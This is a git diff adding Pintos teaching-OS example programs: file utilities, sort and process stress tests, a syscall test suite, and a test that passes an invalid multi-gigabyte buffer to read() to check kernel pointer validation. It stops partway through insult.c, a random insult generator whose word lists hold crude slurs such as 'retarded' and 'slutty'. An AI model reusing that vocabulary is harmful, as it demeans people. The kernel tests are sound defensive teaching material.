diff options
Diffstat (limited to 'src/examples')
49 files changed, 3040 insertions, 0 deletions
diff --git a/src/examples/.cvsignore b/src/examples/.cvsignore new file mode 100644 index 0000000..a9e09d7 --- /dev/null +++ b/src/examples/.cvsignore @@ -0,0 +1,19 @@ +cat +cmp +cp +echo +halt +hex-dump +ls +mcat +mcp +mkdir +pwd +rm +shell +bubsort +insult +lineup +matmult +recursor +*.d diff --git a/src/examples/Makefile b/src/examples/Makefile new file mode 100644 index 0000000..5b4f6c3 --- /dev/null +++ b/src/examples/Makefile @@ -0,0 +1,60 @@ +SRCDIR = .. + +# Test programs to compile, and a list of sources for each. +# To add a new test, put its name on the PROGS list +# and then add a name_SRC line that lists its source files. +PROGS = cat cmp cp echo halt hex-dump ls mcat mcp mkdir pwd rm shell \ + bubsort insult lineup matmult recursor \ + sumargv pfs pfs_reader pfs_writer dummy longrun \ + child parent generic_parent longrun_interactive busy \ + line_echo file_syscall_tests longrun_nowait shellcode \ + crack overflow dir_stress create_file create_remove_file + +# Added test programs +sumargv_SRC = sumargv.c +pfs_SRC = pfs.c +pfs_reader_SRC = pfs_reader.c +pfs_writer_SRC = pfs_writer.c +longrun_SRC = longrun.c +longrun_nowait_SRC = longrun_nowait.c +longrun_interactive_SRC = longrun_interactive.c +dummy_SRC = dummy.c +busy_SRC = busy.c +child_SRC = child.c +parent_SRC = parent.c +generic_parent_SRC = generic_parent.c +line_echo_SRC = line_echo.c +file_syscall_tests_SRC = file_syscall_tests.c +shellcode_SRC = shellcode.c +crack_SRC = crack.c +overflow_SRC = overflow.c +dir_stress_SRC = dir_stress.c +create_file_SRC = create_file.c +create_remove_file_SRC = create_remove_file.c + +# Should work from project 2 onward. +cat_SRC = cat.c +cmp_SRC = cmp.c +cp_SRC = cp.c +echo_SRC = echo.c +halt_SRC = halt.c +hex-dump_SRC = hex-dump.c +insult_SRC = insult.c +lineup_SRC = lineup.c +ls_SRC = ls.c +recursor_SRC = recursor.c +rm_SRC = rm.c + +# Should work in project 3; also in project 4 if VM is included. +bubsort_SRC = bubsort.c +matmult_SRC = matmult.c +mcat_SRC = mcat.c +mcp_SRC = mcp.c + +# Should work in project 4. +mkdir_SRC = mkdir.c +pwd_SRC = pwd.c +shell_SRC = shell.c + +include $(SRCDIR)/Make.config +include $(SRCDIR)/Makefile.userprog diff --git a/src/examples/bubsort.c b/src/examples/bubsort.c new file mode 100644 index 0000000..343219e --- /dev/null +++ b/src/examples/bubsort.c @@ -0,0 +1,38 @@ +/* sort.c + + Test program to sort a large number of integers. + + Intention is to stress virtual memory system. + + Ideally, we could read the unsorted array off of the file + system, and store the result back to the file system! */ +#include <stdio.h> + +/* Size of array to sort. */ +#define SORT_SIZE 128 + +int +main (void) +{ + /* Array to sort. Static to reduce stack usage. */ + static int array[SORT_SIZE]; + + int i, j, tmp; + + /* First initialize the array in descending order. */ + for (i = 0; i < SORT_SIZE; i++) + array[i] = SORT_SIZE - i - 1; + + /* Then sort in ascending order. */ + for (i = 0; i < SORT_SIZE - 1; i++) + for (j = 0; j < SORT_SIZE - 1 - i; j++) + if (array[j] > array[j + 1]) + { + tmp = array[j]; + array[j] = array[j + 1]; + array[j + 1] = tmp; + } + + printf ("sort exiting with code %d\n", array[0]); + return array[0]; +} diff --git a/src/examples/buffer_with_hole.c b/src/examples/buffer_with_hole.c new file mode 100644 index 0000000..8d81009 --- /dev/null +++ b/src/examples/buffer_with_hole.c @@ -0,0 +1,52 @@ +/* klaar@ida + + Create a buffer that spans invalid pages. Used to check memory + verification. + */ +#include <stdio.h> +#include <stdlib.h> +#include <syscall.h> + +/* global variables are placed by the compiler in the process image, + * among the initialized variables + * the process image is loaded at the bottom of the virtual memory space + */ +char global = 0; + +int main (int argc, char *argv[]) +{ + /* local variables are allocated on the proces stack during runtime + * the stack is at top of the virtual memory space + */ + char local = 0; + int fd; + int count; + unsigned l, g; + + /* both adresses will of course be valid */ + printf("global: %p\n", &global); + printf("local : %p\n", &local); + + /* and a pointer starting at the global variable adress, and ending + * at the local variable addres will have valid start and end + * but will all addresses (about 3 GB) inbetween be valid? + */ + l = (unsigned)&local; + g = (unsigned)&global; + printf("size : %u MiB\n", (l - g)/1024/1024); + + create("somefile", 1000); + fd = open("somefile"); + + /* this tries to use the buffer (it should fail verification) */ + count = read(fd, &global, (l - g + 1)); + printf("read %i out of %u bytes\n", count, (l - g + 1)); + + /* this tries to use a buffer probably ending before the stack */ + count = read(fd, &global, (l - g + 1) - 4096); + printf("read %i out of %u bytes\n", count, (l - g + 1) - 4096); + + close(fd); + + return 0; +} diff --git a/src/examples/busy.c b/src/examples/busy.c new file mode 100644 index 0000000..cec5fcf --- /dev/null +++ b/src/examples/busy.c @@ -0,0 +1,27 @@ +/* klaar@ida + + Just do some work, and then exit with status given by first + argument. + + Normally called by some parent test program. + */ + +#include <syscall.h> +#include <stdlib.h> +#include <stdio.h> + +int main (int argc, char* argv[]) +{ + int i; + + if (argc != 2) + return 0; + + for(i = 0; i < 200000; i++) + { + int a = (i * i) + (i * i); + int b = i; + i = a; a = b; i = b; + } + return atoi(argv[1]); +} diff --git a/src/examples/cat.c b/src/examples/cat.c new file mode 100644 index 0000000..c8d229d --- /dev/null +++ b/src/examples/cat.c @@ -0,0 +1,34 @@ +/* cat.c + + Prints files specified on command line to the console. */ + +#include <stdio.h> +#include <syscall.h> + +int +main (int argc, char *argv[]) +{ + bool success = true; + int i; + + for (i = 1; i < argc; i++) + { + int fd = open (argv[i]); + if (fd < 0) + { + printf ("%s: open failed\n", argv[i]); + success = false; + continue; + } + for (;;) + { + char buffer[1024]; + int bytes_read = read (fd, buffer, sizeof buffer); + if (bytes_read == 0) + break; + write (STDOUT_FILENO, buffer, bytes_read); + } + close (fd); + } + return success ? EXIT_SUCCESS : EXIT_FAILURE; +} diff --git a/src/examples/child.c b/src/examples/child.c new file mode 100644 index 0000000..f39b18d --- /dev/null +++ b/src/examples/child.c @@ -0,0 +1,27 @@ +/* klaar@ida + + Just do some work, print a message, and then exit successfully. + + Normally called by some parent test program. + */ + +#include <syscall.h> +#include <stdio.h> + +int main (int argc, char* argv[]) +{ + int i; + + if (argc != 2) + return 0; + + for(i = 0; i < 20000; i++) + { + int a = (i * i) + (i * i); + int b = i; + i = a; a = b; i = b; + } + printf("PASS Lab %s ON Time.\n", argv[1]); + + return 0; +} diff --git a/src/examples/cmp.c b/src/examples/cmp.c new file mode 100644 index 0000000..94b406d --- /dev/null +++ b/src/examples/cmp.c @@ -0,0 +1,68 @@ +/* cat.c + + Compares two files. */ + +#include <stdio.h> +#include <syscall.h> + +int +main (int argc, char *argv[]) +{ + int fd[2]; + + if (argc != 3) + { + printf ("usage: cmp A B\n"); + return EXIT_FAILURE; + } + + /* Open files. */ + fd[0] = open (argv[1]); + if (fd[0] < 0) + { + printf ("%s: open failed\n", argv[1]); + return EXIT_FAILURE; + } + fd[1] = open (argv[2]); + if (fd[1] < 0) + { + printf ("%s: open failed\n", argv[1]); + return EXIT_FAILURE; + } + + /* Compare data. */ + for (;;) + { + int pos; + char buffer[2][1024]; + int bytes_read[2]; + int min_read; + int i; + + pos = tell (fd[0]); + bytes_read[0] = read (fd[0], buffer[0], sizeof buffer[0]); + bytes_read[1] = read (fd[1], buffer[1], sizeof buffer[1]); + min_read = bytes_read[0] < bytes_read[1] ? bytes_read[0] : bytes_read[1]; + if (min_read == 0) + break; + + for (i = 0; i < min_read; i++) + if (buffer[0][i] != buffer[1][i]) + { + printf ("Byte %d is %02hhx ('%c') in %s but %02hhx ('%c') in %s\n", + pos + i, + buffer[0][i], buffer[0][i], argv[1], + buffer[1][i], buffer[1][i], argv[2]); + return EXIT_FAILURE; + } + + if (min_read < bytes_read[1]) + printf ("%s is shorter than %s\n", argv[1], argv[2]); + else if (min_read < bytes_read[0]) + printf ("%s is shorter than %s\n", argv[2], argv[1]); + } + + printf ("%s and %s are identical\n", argv[1], argv[2]); + + return EXIT_SUCCESS; +} diff --git a/src/examples/cp.c b/src/examples/cp.c new file mode 100644 index 0000000..86a5cd7 --- /dev/null +++ b/src/examples/cp.c @@ -0,0 +1,55 @@ +/* cat.c + +Copies one file to another. */ + +#include <stdio.h> +#include <syscall.h> + +int +main (int argc, char *argv[]) +{ + int in_fd, out_fd; + + if (argc != 3) + { + printf ("usage: cp OLD NEW\n"); + return EXIT_FAILURE; + } + + /* Open input file. */ + in_fd = open (argv[1]); + if (in_fd < 0) + { + printf ("%s: open failed\n", argv[1]); + return EXIT_FAILURE; + } + + /* Create and open output file. */ + if (!create (argv[2], filesize (in_fd))) + { + printf ("%s: create failed\n", argv[2]); + return EXIT_FAILURE; + } + out_fd = open (argv[2]); + if (out_fd < 0) + { + printf ("%s: open failed\n", argv[2]); + return EXIT_FAILURE; + } + + /* Copy data. */ + for (;;) + { + char buffer[1024]; + int bytes_read = read (in_fd, buffer, sizeof buffer); + if (bytes_read == 0) + break; + if (write (out_fd, buffer, bytes_read) != bytes_read) + { + printf ("%s: write failed\n", argv[2]); + return EXIT_FAILURE; + } + } + + return EXIT_SUCCESS; +} diff --git a/src/examples/crack.c b/src/examples/crack.c new file mode 100644 index 0000000..54d99ad --- /dev/null +++ b/src/examples/crack.c @@ -0,0 +1,27 @@ +/* klaar@ida + + This program prints some ascii art... + */ +#include <syscall.h> +#include <stdio.h> +#include <string.h> + +int +main (void) +{ + const char* msg[5] = { + " Y Y OOO O O | RRR EEEE DDD OOO N N EEEE \n", + " Y Y O O O O | R R E D D O O NN N E \n", + " YYY O O O O RRR EEE D D O O N N N EEE \n", + " Y O O O O R R E D D O O N NN E \n", + " Y OOO OOO R R EEEE DDD OOO N N EEEE \n" + }; + int i; + + for (i = 0; i < 5; ++i) + { + write (STDOUT_FILENO, msg[i], strlen(msg[i])); + } + + return 0; +} diff --git a/src/examples/create_file.c b/src/examples/create_file.c new file mode 100644 index 0000000..5c1eeb2 --- /dev/null +++ b/src/examples/create_file.c @@ -0,0 +1,22 @@ +/* klaar@ida +*/ + +#include <stdio.h> +#include <syscall.h> + +int main(int argc, char* argv[]) +{ + if (argc != 2) + { + printf("%s: bad arguments\n", argv[0]); + return 1; + } + + while ( open("go") == -1 ) + ; + + if ( ! create(argv[1], 500) ) + return 1; + + return 0; +} diff --git a/src/examples/create_remove_file.c b/src/examples/create_remove_file.c new file mode 100644 index 0000000..93f191e --- /dev/null +++ b/src/examples/create_remove_file.c @@ -0,0 +1,58 @@ +/* klaar@ida +*/ + +#include <stdio.h> +#include <string.h> +#include <stdlib.h> +#include <syscall.h> + +int main(int argc, char* argv[]) +{ + char buf[40]; + char ref[40]; + int loops; + int i, n; + int fd; + + if (argc != 3) + { + printf("%s: bad arguments\n", argv[0]); + return 1; + } + + loops = atoi(argv[2]); + + for (i = 0; i < loops; ++i) + { + if ( create(argv[1], 500) ) + { + snprintf(ref, 40, "file '%s' iteration %d", argv[1], i); + fd = open(argv[1]); + remove(argv[1]); + + write(fd, ref, strlen(ref)); + seek(fd, 0); + for (n = 0; n < 100; ++n) + ; + read(fd, buf, 40); + close(fd); + + if (strcmp(ref, buf) != 0) + { + printf("%s: ERROR bad file content\n", argv[0]); + printf("%s: written : '%s'\n", argv[0], ref); + printf("%s: read back: '%s'\n", argv[0], buf); + exit(1); + } + + if ( (i * 10000 / loops) % 1000 == 0 ) + printf("%s: %d%% done\n", argv[0], (i * 100 / loops)); + } + else + { + printf("%s: ERROR create '%s' failed\n", argv[0], argv[1]); + exit(1); + } + } + return 0; +} diff --git a/src/examples/dir_stress.c b/src/examples/dir_stress.c new file mode 100644 index 0000000..23c4de4 --- /dev/null +++ b/src/examples/dir_stress.c @@ -0,0 +1,95 @@ +/* klaar@ida + + pintos -v -k -T 180 --fs-disk=2 --qemu -p ../examples/create_file -a create_file -p ../examples/create_remove_file -a cr_rm_file -p ../examples/dir_stress -a dir_stress -- -f -q run dir_stress + +*/ + +#include <stdio.h> +#include <syscall.h> + +#define CREATORS 20 /* no of procs to concurrently create files */ +#define LOADERS 11 /* no of procs to create/remove */ +#define CYCLES 100 /* how many create/remove cycles to do */ +#define TRIES 20 /* how many tries to create duplicates */ +#define BUFSIZE 40 /* exec cmd line buffer */ + +int main(void) +{ + char buffer[BUFSIZE]; + int creator_pid[CREATORS]; + int loader_pid[LOADERS]; + int exit_status = 0; + int i, n; + + /* put some load on the directory */ + for (i = 0; i < LOADERS; ++i) + { + snprintf(buffer, BUFSIZE, "cr_rm_file load.%d %d", i, CYCLES); + loader_pid[i] = exec(buffer); + } + + for (n = 0; n < TRIES; ++n) + { + int success_count = 0; + int crash_count = 0; + int fail_count = 0; + + /* set up processes to simultaneously create same file */ + for (i = 0; i < CREATORS; ++i) + { + snprintf(buffer, BUFSIZE, "create_file file.%d", n); + creator_pid[i] = exec(buffer); + } + + /* all creators will wait for this file to appear */ + create("go", 1); + + /* wait for creators to finish */ + for (i = 0; i < CREATORS; ++i) + { + int r = wait(creator_pid[i]); + success_count += (r == 0); + crash_count += (r == -1); + fail_count += (r == 1); + } + + remove("go"); + + /* clean up the created file */ + snprintf(buffer, BUFSIZE, "file.%d", n); + remove(buffer); + + /* only one creator should succed */ + if (success_count != 1) + { + printf("ERROR: %d files with same name created\n", + success_count); + exit_status = -1; + } + if (crash_count != 0) + { + printf("ERROR: %d creator processes crashed\n", + crash_count); + exit_status = -1; + } + if (fail_count != (CREATORS - 1)) + { + printf("ERROR: %d creator processes failed\n", + fail_count); + exit_status = -1; + } + } + + for (i = 0; i < LOADERS; ++i) + { + int result = wait( loader_pid[i] ); + if ( result != 0 ) + { + printf("ERROR: loader %d finished with code %d\n", + loader_pid[i], result); + exit_status = -1; + } + } + + return exit_status; +} diff --git a/src/examples/dummy.c b/src/examples/dummy.c new file mode 100644 index 0000000..e36665d --- /dev/null +++ b/src/examples/dummy.c @@ -0,0 +1,17 @@ +/* klaar@ida + + A small dummy process that just uses up a process slot in the long + runtime test. Just return it's first argument. + + Normally used by some paren process. + */ + +#include <stdlib.h> + +int main(int argc, char* argv[]) +{ + if (argc != 2) + return 0; + + return atoi(argv[1]); +} diff --git a/src/examples/echo.c b/src/examples/echo.c new file mode 100644 index 0000000..1b136f2 --- /dev/null +++ b/src/examples/echo.c @@ -0,0 +1,14 @@ +#include <stdio.h> +#include <syscall.h> + +int +main (int argc, char **argv) +{ + int i; + + for (i = 0; i < argc; i++) + printf ("%s ", argv[i]); + printf ("\n"); + + return EXIT_SUCCESS; +} diff --git a/src/examples/file_syscall_tests.c b/src/examples/file_syscall_tests.c new file mode 100644 index 0000000..53358eb --- /dev/null +++ b/src/examples/file_syscall_tests.c @@ -0,0 +1,365 @@ +/* klaar@ida
+
+ pintos -v -k --fs-disk=2 -p ../examples/file_syscall_tests -a fst -- -f -q run 'fst testing one two three'
+
+ NOTE:
+ "file_syscall_tests" is too long a filename for Pintos, it
+ must be shortened. The simplest way is to rename it to a
+ shorter name using the "-a" flag as in the command line above.
+
+ Test program for basic system calls. Inspired by previous versions
+ by various IDA-employees / lab-assistanst.
+
+ Emergency exit QEMU bu pressing C-a x (release Ctrl before pressing x)
+
+ DONE: Warn when '\r' instead of '\n'
+ DONE: Check result for JUNK
+ DONE: Compare/verify content of buffer after reads.
+ DONE: Make sure content of buffer is known/reset before filling it.
+ */
+
+#include <stdio.h>
+#include <string.h>
+#include <syscall.h>
+
+#define SIZE 1024
+#define JUNK 0xCCCC /* 52428 */
+#define CRAP 0xDDDD
+
+#define msg( comment ) \
+ write ( STDOUT_FILENO, "\n" comment "\n", strlen (comment) + 2 )
+
+#define end( comment ) \
+ write ( STDOUT_FILENO, "\n" comment "\n", strlen (comment) + 2 );\
+ skip_line ()
+
+static void skip_line( void );
+static int get_line( char* buf, int size );
+static void verify(int test);
+static void init_buffer(char*, int);
+
+int main(int argc, char* argv[])
+{
+ int id = JUNK;
+ int i, j;
+
+ msg ( "* ------------------ write screen test ------------------ *" );
+ {
+ char* msg = "Now displaying the arguments to main\n";
+ int length = strlen (msg);
+ int result = JUNK;
+
+ result = write (STDOUT_FILENO, msg, length);
+
+ for ( i = 0; i < argc; ++i )
+ {
+ write (STDOUT_FILENO, argv[i], strlen (argv[i]) );
+ write (STDOUT_FILENO, "\n", 1);
+ }
+
+ verify (length == result);
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+ printf ("To emergency exit QEMU at any time:\n");
+ printf ("Hold 'Control' and press 'a' and then \n");
+ printf ("release 'Control' and press 'x'\n");
+
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ----------------- read keyboard test ------------------ *" );
+ {
+ char* input = "qwerty1234";
+ char buffer[10];
+ int length = CRAP;
+ int result = JUNK;
+ char yes;
+
+ init_buffer(buffer, 10);
+
+ printf ("Will now try to read 10 characters.\n");
+ printf ("Please write \"%s\": ", input);
+ result = read ( STDIN_FILENO, buffer, 10 );
+ length = strlen( buffer );
+ printf ("\nThe following characters was read: '%s'\n", buffer);
+
+ verify ( length == result && memcmp(buffer, input, 10) == 0 );
+
+ printf ("\nDid you see each character as you typed it? (y/n) ");
+ result = read ( STDIN_FILENO, &yes, 1 );
+ printf ("\n");
+
+ verify ( result == 1 && yes == 'y');
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ create file test ------------------- *" );
+ {
+ int success = JUNK;
+
+ printf ("Will try to create 'test.txt'\n");
+ success = create("test.txt", SIZE);
+ verify ( success != JUNK && success );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ open file test --------------------- *" );
+ {
+ printf ("Will try to open 'non_existent_file'\n");
+ id = open("non_existent_file");
+ verify ( id == -1 );
+
+ printf ("Will try to open 'test.txt'\n");
+ id = open("test.txt");
+ verify ( id > 1 );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ write file test -------------------- *" );
+ {
+ char buffer[8];
+ int result = JUNK;
+ bool success = true;
+
+ init_buffer(buffer, 8);
+
+ printf ("Will try to write a sequence to '%d'\n", id);
+ for ( i = 0; i < 16; ++i)
+ {
+ for ( j = 0; j < 16; ++j)
+ {
+ snprintf(buffer, 8, "%4d", i*16+j);
+ result = write(STDOUT_FILENO, buffer, 4);
+ result = write(id, buffer, 4);
+ success = success && (result == 4);
+ }
+ result = write(STDOUT_FILENO, "\n", 1);
+ }
+ verify ( success );
+
+ printf ("Will try to write 8 characters to '%d'\n", JUNK);
+ result = write(JUNK, buffer, 8);
+ verify ( result == -1 );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ read file test --------------------- *" );
+ {
+ char buffer[8];
+ char verify_buffer[8];
+ int result = JUNK;
+ bool success = true;
+
+ init_buffer(buffer, 8);
+ init_buffer(verify_buffer, 8);
+
+ printf ("Will try to reopen 'test.txt'\n");
+ close(id);
+ id = open("test.txt");
+
+ printf ("Will try to read a sequence from '%d'\n", id);
+ for ( i = 0; i < 16; ++i)
+ {
+ for ( j = 0; j < 16; ++j)
+ {
+ snprintf(verify_buffer, 8, "%4d", i*16+j);
+ result = read(id, buffer, 4);
+ success = success && (result == 4);
+ result = write(STDOUT_FILENO, buffer, 4);
+
+ success = success && (memcmp(buffer, verify_buffer, 4) == 0);
+ }
+ result = write(STDOUT_FILENO, "\n", 1);
+ }
+ verify ( success );
+
+ printf ("Will try to read 8 characters from '%d'\n", JUNK);
+ result = read(JUNK, buffer, 8);
+ verify ( result == -1 );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ close file test -------------------- *" );
+ {
+ char buffer[128];
+ int result = JUNK;
+
+ init_buffer(buffer, 128);
+
+ printf ("Will try to close 'STDIN_FILENO' and then read from it.\n");
+ printf ("Write some input please: ");
+ close(STDIN_FILENO);
+ result = get_line(buffer, 128);
+ verify ( result < 128 && result == (int)strlen(buffer) );
+
+ printf ("Will try to close 'STDOUT_FILENO' and then write to it.\n");
+ close(STDOUT_FILENO);
+ result = write(STDOUT_FILENO, buffer, strlen(buffer));
+ printf ("\n");
+ verify ( result == (int)strlen(buffer) );
+
+ printf ("Will try to close id '%d' and then read from it\n", id);
+ close(id);
+ result = read(id, buffer, 128);
+ verify ( result == -1 );
+
+ printf ("Will try to close id '%d' and then read from it\n", id);
+ close(JUNK);
+ result = read(JUNK, buffer, 128);
+ verify ( result == -1 );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ remove file test ------------------- *" );
+ {
+ int success = JUNK;
+
+ printf ("Will try to remove 'test.txt' and then open it\n");
+ success = remove("test.txt");
+ id = open("test.txt");
+ verify ( success && id == -1 );
+
+ printf ("Will try to remove 'non_existent_file'\n");
+ success = remove("non_existent_file");
+ verify ( ! success );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+ printf ("To emergency exit QEMU at any time:\n");
+ printf ("Hold 'Control' and press 'a' and then \n");
+ printf ("release 'Control' and press 'x'\n");
+
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ---------------- seek/tell file test ------------------ *" );
+ {
+ char buffer[8];
+ char verify_buffer[8];
+ int result = JUNK;
+ int success = CRAP;
+
+ init_buffer(buffer, 8);
+ init_buffer(verify_buffer, 8);
+
+ printf ("Will try to create and open 'test.txt'\n");
+ success = create("test.txt", SIZE);
+ id = open("test.txt");
+ verify ( success != CRAP && success && id > 1 );
+
+ printf ("Will try to write a sequence to '%d'\n", id);
+ for ( i = 0; i < 16; ++i)
+ {
+ for ( j = 0; j < 16; ++j)
+ {
+ snprintf (buffer, 8, "%4d", j*16+i);
+ seek (id, (j*16+i)*4);
+ result = write (STDOUT_FILENO, buffer, 4);
+ result = write (id, buffer, 4);
+ success = success && (result == 4);
+ result = tell (id);
+ success = success && (result == (j*16+i+1)*4);
+ }
+ result = write(STDOUT_FILENO, "\n", 1);
+ }
+ verify ( success );
+
+ printf ("Will try to read the sequence from '%d'\n", id);
+ seek (id, 0);
+ for ( i = 0; i < 16; ++i)
+ {
+ for ( j = 0; j < 16; ++j)
+ {
+ snprintf (verify_buffer, 8, "%4d", i*16+j);
+ result = read(id, buffer, 4);
+ success = success && (result == 4);
+ result = write(STDOUT_FILENO, buffer, 4);
+
+ success = success && (memcmp(buffer, verify_buffer, 4) == 0);
+ }
+ result = write(STDOUT_FILENO, "\n", 1);
+ }
+ result = tell (id);
+ verify ( success && result == 256*4 );
+
+ printf ("Will try to determine filesize and seek past it\n");
+ result = filesize (id);
+ seek (id, result*2);
+ verify ( result == SIZE );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+ return 0;
+}
+
+
+const char* crlf_warning = ("\033[1;31;40mWARNING\033[1;0m: "
+ "You should convert '\\r' to '\\n'.\n");
+
+static void skip_line( void )
+{
+ char c = '\0';
+
+ while ( c != '\n' && c != '\r' )
+ read ( STDIN_FILENO, &c, 1);
+
+ if ( c == '\r' )
+ write ( STDOUT_FILENO, crlf_warning, strlen ( crlf_warning ) );
+}
+
+
+static int get_line( char* buf, int size )
+{
+ int i;
+
+ for ( i = 0; i < (size - 1); ++i)
+ {
+ buf[i] = '\0';
+
+ if (read ( STDIN_FILENO, buf+i, 1) != 1)
+ return -1;
+
+ if ( buf[i] == '\r' )
+ write ( STDOUT_FILENO, crlf_warning, strlen ( crlf_warning ) );
+
+ if ( buf[i] == '\n' )
+ break;
+ }
+ buf[i] = '\0';
+ return i;
+}
+
+
+static void verify(int test)
+{
+ /* will only print nice in vt100 terminal */
+ /* assuming black background */
+ const char* result[3] = {"\033[1;31;40m WRONG RESULT \033[1;0m \n",
+ "\033[1;32;40m RESULT OK \033[1;0m \n",
+ "\033[1;31;40m BAD BOOLEAN \033[1;0m \n"};
+
+ if (test < 0 || test > 1)
+ test = 2;
+
+ write ( STDOUT_FILENO, result[ test ], strlen (result[ test ]) );
+}
+
+
+static void init_buffer(char* buffer, int size)
+{
+ const char* data = "ERROR";
+ const int S = strlen(data);
+ int i;
+
+ for (i = 0; i < (size - 1); ++i)
+ {
+ buffer[i] = data[i % S];
+ }
+ buffer[i] = '\0';
+}
diff --git a/src/examples/generic_parent.c b/src/examples/generic_parent.c new file mode 100644 index 0000000..dd8f11d --- /dev/null +++ b/src/examples/generic_parent.c @@ -0,0 +1,48 @@ +/* klaar@ida + + Will try to start N child-processes, giving each an increasing + number starting on S as argument to main. Will return S+C where C + is the number of sucessfully started children. + + Normally used from some parent program. + */ + +#include <syscall.h> +#include <stdlib.h> +#include <stdio.h> + +#define BUF_SIZE 64 + +int main(int argc, char* argv[]) +{ + int i; + char cmd[BUF_SIZE]; + char* child; + int start; + int count; + + if (argc != 4) + { + printf("Usage: %s CHILD S N\n", argv[0]); + printf("%s starts N copies of CHILD.\n", argv[0]); + printf("Each child receives an unique integer I as first parameter in the range S..(S+N-1).\n"); + printf("Returns S + N on success, S + I if only I children could be started.\n"); + return -1; + } + + child = argv[1]; + start = atoi(argv[2]); + count = atoi(argv[3]); + + for(i = 0; i < count; i++) + { + snprintf(cmd, BUF_SIZE, "%s %i", child, start + i); + if (exec(cmd) == -1) + { + printf("!! ERROR !!\n"); + printf("Could not start '%s'\n", cmd); + break; + } + } + exit(start + i); +} diff --git a/src/examples/halt.c b/src/examples/halt.c new file mode 100644 index 0000000..bad7250 --- /dev/null +++ b/src/examples/halt.c @@ -0,0 +1,14 @@ +/* halt.c + + Simple program to test whether running a user program works. + + Just invokes a system call that shuts down the OS. */ + +#include <syscall.h> + +int +main (void) +{ + halt (); + /* not reached */ +} diff --git a/src/examples/hex-dump.c b/src/examples/hex-dump.c new file mode 100644 index 0000000..ee313f2 --- /dev/null +++ b/src/examples/hex-dump.c @@ -0,0 +1,35 @@ +/* hex-dump.c + + Prints files specified on command line to the console in hex. */ + +#include <stdio.h> +#include <syscall.h> + +int +main (int argc, char *argv[]) +{ + bool success = true; + int i; + + for (i = 1; i < argc; i++) + { + int fd = open (argv[i]); + if (fd < 0) + { + printf ("%s: open failed\n", argv[i]); + success = false; + continue; + } + for (;;) + { + char buffer[1024]; + int pos = tell (fd); + int bytes_read = read (fd, buffer, sizeof buffer); + if (bytes_read == 0) + break; + hex_dump (pos, buffer, bytes_read, true); + } + close (fd); + } + return success ? EXIT_SUCCESS : EXIT_FAILURE; +} diff --git a/src/examples/insult.c b/src/examples/insult.c new file mode 100644 index 0000000..0066af6 --- /dev/null +++ b/src/examples/insult.c @@ -0,0 +1,368 @@ +/* Insult.c + + This is a version of the famous CS 107 random sentence + generator. I wrote a program that reads a grammar definition + file and writes a C file containing that grammar as hard code + static C strings. Thus the majority of the code below in + machine generated and totally unreadable. The arrays created + are specially designed to make generating the sentences as + easy as possible. + + Originally by Greg Hutchins, March 1998. + Modified by Ben Pfaff for Pintos, Sept 2004. */ +char *start[] = + { "You", "1", "5", ".", "May", "13", ".", "With", "the", "19", "of", "18", +",", "may", "13", "." +}; +char startLoc[] = { 3, 0, 4, 7, 16 }; +char *adj[] = { "3", "4", "2", ",", "1" }; +char adjLoc[] = { 3, 0, 1, 2, 5 }; +char *adj3[] = { "3", "4" }; +char adj3Loc[] = { 2, 0, 1, 2 }; +char *adj1[] = + { "lame", "dried", "up", "par-broiled", "bloated", "half-baked", "spiteful", +"egotistical", "ungrateful", "stupid", "moronic", "fat", "ugly", "puny", "pitiful", +"insignificant", "blithering", "repulsive", "worthless", "blundering", "retarded", +"useless", "obnoxious", "low-budget", "assinine", "neurotic", "subhuman", "crochety", +"indescribable", "contemptible", "unspeakable", "sick", "lazy", "good-for-nothing", +"slutty", "mentally-deficient", "creepy", "sloppy", "dismal", "pompous", "pathetic", +"friendless", "revolting", "slovenly", "cantankerous", "uncultured", "insufferable", +"gross", "unkempt", "defective", "crumby" +}; +char adj1Loc[] = + { 50, 0, 1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, +21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, +43, 44, 45, 46, 47, 48, 49, 50, 51 }; +char *adj2[] = + { "putrefied", "festering", "funky", "moldy", "leprous", "curdled", "fetid", +"slimy", "crusty", "sweaty", "damp", "deranged", "smelly", "stenchy", "malignant", +"noxious", "grimy", "reeky", "nasty", "mutilated", "sloppy", "gruesome", "grisly", +"sloshy", "wormy", "mealy", "spoiled", "contaminated", "rancid", "musty", +"fly-covered", "moth-eaten", "decaying", "decomposed", "freeze-dried", "defective", +"petrified", "rotting", "scabrous", "hirsute" +}; +char adj2Loc[] = + { 40, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, +20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40 }; +char *name[] = + { "10", ",", "bad", "excuse", "for", "6", ",", "6", "for", "brains", ",", +"4", "11", "8", "for", "brains", "offspring", "of", "a", "motherless", "10", "7", "6", +"7", "4", "11", "8" +}; +char nameLoc[] = { 7, 0, 1, 6, 10, 16, 21, 23, 27 }; +char *stuff[] = + { "shit", "toe", "jam", "filth", "puss", "earwax", "leaf", "clippings", +"bat", "guano", "mucus", "fungus", "mung", "refuse", "earwax", "spittoon", "spittle", +"phlegm" +}; +char stuffLoc[] = { 14, 0, 1, 3, 4, 5, 6, 8, 10, 11, 12, 13, 14, 15, 17, 18 }; +char *noun_and_prep[] = + { "bit", "of", "piece", "of", "vat", "of", "lump", "of", "crock", "of", +"ball", "of", "tub", "of", "load", "of", "bucket", "of", "mound", "of", "glob", "of", "bag", +"of", "heap", "of", "mountain", "of", "load", "of", "barrel", "of", "sack", "of", "blob", "of", +"pile", "of", "truckload", "of", 